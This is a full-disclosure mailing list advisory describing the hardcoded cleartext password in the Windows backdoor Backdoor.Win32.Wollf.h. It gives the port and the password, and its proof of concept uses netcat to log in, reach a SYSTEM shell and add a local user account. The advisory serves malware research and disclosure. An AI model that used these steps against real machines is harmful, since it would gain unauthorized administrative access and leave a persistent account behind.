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List:       full-disclosure
Subject:    [FD] Backdoor.Win32.Wollf.h / Hardcoded Cleartext Password
From:       malvuln <malvuln13 () gmail ! com>
Date:       2021-11-21 23:37:22
Message-ID: CAAHK0WSwMBjEUb_Jy8vmihUM+fcMe0TnukPLyByz58MvRSL9iw () mail ! gmail ! com
[Download RAW message or body]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/5494b78dcfaf16aa43b5dbd563dc5582.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.h
Vulnerability: Hardcoded Cleartext Password
Description: The malware listens on TCP port 7300 and runs with SYSTEM
integrity. Authentication is required for remote user access. However, the
password "grish5800" is hardcoded within the executable. The malware is
packed with UPX and exposes the cleartext credentials when decompressed.
Type: PE32
MD5: 5494b78dcfaf16aa43b5dbd563dc5582
Vuln ID: MVID-2021-0405
Dropped files: asphelp.exe
Disclosure: 11/21/2021

Exploit/PoC:
nc64.exe x.x.x.x 7300

login: grish5800

Login succeed!

"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#DOS

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>net user MALVULN 666 /add
net user MALVULN 666 /add
The command completed successfully.


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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